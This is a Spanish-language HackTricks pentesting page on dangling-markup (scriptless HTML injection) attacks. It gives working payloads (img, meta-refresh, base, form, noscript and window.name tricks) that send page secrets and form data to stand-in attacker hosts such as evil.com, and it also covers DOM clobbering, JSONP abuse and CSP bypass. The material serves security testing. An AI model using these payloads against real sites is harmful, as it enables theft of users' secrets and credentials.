hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
2023-08-24 09:52:10 +00:00
..
README.md Translated ['generic-methodologies-and-resources/pentesting-network/nmap 2023-08-24 09:52:10 +00:00
ss-leaks.md Translated ['generic-methodologies-and-resources/pentesting-network/nmap 2023-08-24 09:52:10 +00:00

Dangling Markup - Inyección HTML sin script

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Resumen

Esta técnica se puede utilizar para extraer información de un usuario cuando se encuentra una inyección HTML. Esto es muy útil si no encuentras ninguna forma de explotar un XSS pero puedes inyectar algunas etiquetas HTML.
También es útil si algún secreto se guarda en texto claro en el HTML y quieres extraerlo del cliente, o si quieres engañar la ejecución de algún script.

Varias técnicas comentadas aquí se pueden utilizar para evadir algunas Políticas de Seguridad de Contenido al extraer información de formas inesperadas (etiquetas html, CSS, etiquetas http-meta, formularios, base...).

Principales Aplicaciones

Robo de secretos en texto claro

Si inyectas <img src='http://evil.com/log.cgi? cuando se carga la página, la víctima te enviará todo el código entre la etiqueta img inyectada y la siguiente comilla dentro del código. Si algún secreto se encuentra en ese fragmento, lo robarás (puedes hacer lo mismo usando comillas dobles, mira cuál podría ser más interesante de usar).

Si la etiqueta img está prohibida (debido a la Política de Seguridad de Contenido, por ejemplo), también puedes usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Ten en cuenta que Chrome bloquea las URL HTTP con "<" o "\n" en ellas, por lo que podrías intentar otros esquemas de protocolo como "ftp".

También puedes abusar de CSS @import (enviará todo el código hasta que encuentre un ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

También puedes usar <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

También puedes insertar una etiqueta <base. Toda la información se enviará hasta que se cierre la comilla, pero requiere interacción del usuario (el usuario debe hacer clic en algún enlace, ya que la etiqueta base habrá cambiado el dominio al que apunta el enlace):

<base target='        <--- Injected
steal me'<b>test</b>

Robando formularios

En algunos casos, los atacantes pueden aprovechar las vulnerabilidades de seguridad en un sitio web para robar información de los formularios enviados por los usuarios. Esto se conoce como robo de formularios y puede ser utilizado para obtener datos confidenciales, como nombres de usuario, contraseñas o información de tarjetas de crédito.

Una técnica común para robar formularios es la inyección de código sin secuencias de comandos en el marcado HTML. Esto implica aprovechar las vulnerabilidades en el código del sitio web para insertar código malicioso en los campos de entrada del formulario. Cuando un usuario envía el formulario, el código malicioso se ejecuta y envía los datos ingresados a un servidor controlado por el atacante.

Para llevar a cabo un robo de formularios, los atacantes pueden utilizar diversas técnicas, como la inyección de código en campos de entrada, la manipulación de solicitudes HTTP o la explotación de vulnerabilidades en el servidor web. Es importante que los desarrolladores y administradores de sitios web implementen medidas de seguridad adecuadas, como la validación de entrada y la protección contra ataques de inyección de código, para prevenir este tipo de ataques.

<base href='http://evil.com/'>

Entonces, los formularios que envían datos a una ruta (como <form action='update_profile.php'>) enviarán los datos al dominio malicioso.

Robando formularios 2

Establece una cabecera de formulario: <form action='http://evil.com/log_steal'> esto sobrescribirá la siguiente cabecera de formulario y todos los datos del formulario serán enviados al atacante.

Robando formularios 3

El botón puede cambiar la URL a donde se enviará la información del formulario con el atributo "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Un atacante puede utilizar esto para robar la información.

Robando secretos en texto claro 2

Utilizando la técnica mencionada anteriormente para robar formularios (inyectando una nueva cabecera de formulario), luego puedes inyectar un nuevo campo de entrada:

<input type='hidden' name='review_body' value="

y este campo de entrada contendrá todo el contenido entre sus comillas dobles y las siguientes comillas dobles en el HTML. Este ataque combina "Robo de secretos en texto claro" con "Robo de formularios2".

Puedes hacer lo mismo inyectando un formulario y una etiqueta <option>. Todos los datos hasta que se encuentre un </option> cerrado serán enviados:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Inyección de parámetros de formulario

Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se realice una acción inesperada:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Robando secretos en texto claro a través de noscript

<noscript></noscript> es una etiqueta cuyo contenido se interpretará si el navegador no admite JavaScript (puedes habilitar/deshabilitar JavaScript en Chrome en chrome://settings/content/javascript).

Una forma de extraer el contenido de la página web desde el punto de inyección hasta el final hacia un sitio controlado por el atacante será inyectando lo siguiente:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassando CSP con interacción del usuario

Desde esta investigación de portswiggers puedes aprender que incluso en los entornos más restringidos por CSP aún puedes filtrar datos con algo de interacción del usuario. En esta ocasión vamos a utilizar el payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Ten en cuenta que le pedirás al víctima que haga clic en un enlace que lo redirigirá a un payload controlado por ti. También ten en cuenta que el atributo target dentro de la etiqueta base contendrá contenido HTML hasta la siguiente comilla simple.
Esto hará que el valor de window.name cuando se haga clic en el enlace sea todo ese contenido HTML. Por lo tanto, como controlas la página a la que accede la víctima al hacer clic en el enlace, puedes acceder a ese window.name y filtrar esos datos:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Flujo de trabajo engañoso 1 - Ataque de espacio de nombres HTML

Inserta una nueva etiqueta con un id dentro del HTML que sobrescribirá la siguiente y con un valor que afectará el flujo de un script. En este ejemplo estás seleccionando con quién se compartirá la información:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Flujo de trabajo engañoso de script 2 - Ataque de espacio de nombres de script

Crea variables dentro del espacio de nombres de JavaScript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Abuso de JSONP

Si encuentras una interfaz JSONP, podrías ser capaz de llamar a una función arbitraria con datos arbitrarios:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

O incluso puedes intentar ejecutar algo de javascript:

<script src='/search?q=a&call=alert(1)'></script>

Abuso de Iframe

Ten en cuenta que un documento secundario puede ver y establecer la propiedad de ubicación para el padre, incluso si es de origen cruzado. Esto significa que puedes hacer que el cliente acceda a cualquier otra página cargando dentro de un iframe algún código como:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Esto se puede mitigar con algo como: sandbox= allow-scripts allow-top-navigation

Un iframe también puede ser utilizado para filtrar información sensible de una página diferente utilizando el atributo name del iframe. Esto se debe a que puedes crear un iframe que se iframe a sí mismo aprovechando la inyección de HTML que hace que la información sensible aparezca dentro del atributo name del iframe y luego acceder a ese nombre desde el iframe inicial y filtrarlo.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Para obtener más información, consulta https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta abuso

Puedes usar meta http-equiv para realizar varias acciones como establecer una Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> o realizar una redirección (en 5s en este caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Esto se puede evitar con una CSP en relación a http-equiv (Content-Security-Policy: default-src 'self';, o Content-Security-Policy: http-equiv 'self';)

Nuevo etiqueta HTML <portal

Puedes encontrar una investigación muy interesante sobre vulnerabilidades explotables de la etiqueta <portal aquí.
En el momento de escribir esto, debes habilitar la etiqueta portal en Chrome en chrome://flags/#enable-portals o no funcionará.

<portal src='https://attacker-server?

Fugas de HTML

No todas las formas de filtrar la conectividad en HTML serán útiles para Dangling Markup, pero a veces podría ayudar. Compruébalas aquí: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

Fugas de SS

Esto es una combinación entre dangling markup y XS-Leaks. Por un lado, la vulnerabilidad permite inyectar HTML (pero no JS) en una página de la misma origen que la que atacaremos. Por otro lado, no atacaremos directamente la página donde podemos inyectar HTML, sino otra página.

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search está orientado a filtrar información entre orígenes cruzados abusando de ataques de canal lateral. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como Inyección de CSS o Carga diferida de imágenes.

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

Lista de detección de fuerza bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referencias

Todas las técnicas presentadas aquí y más se pueden revisar con más detalles en:

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

Otras etiquetas HTML que se pueden abusar se pueden encontrar aquí:

{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}

Más información:

{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥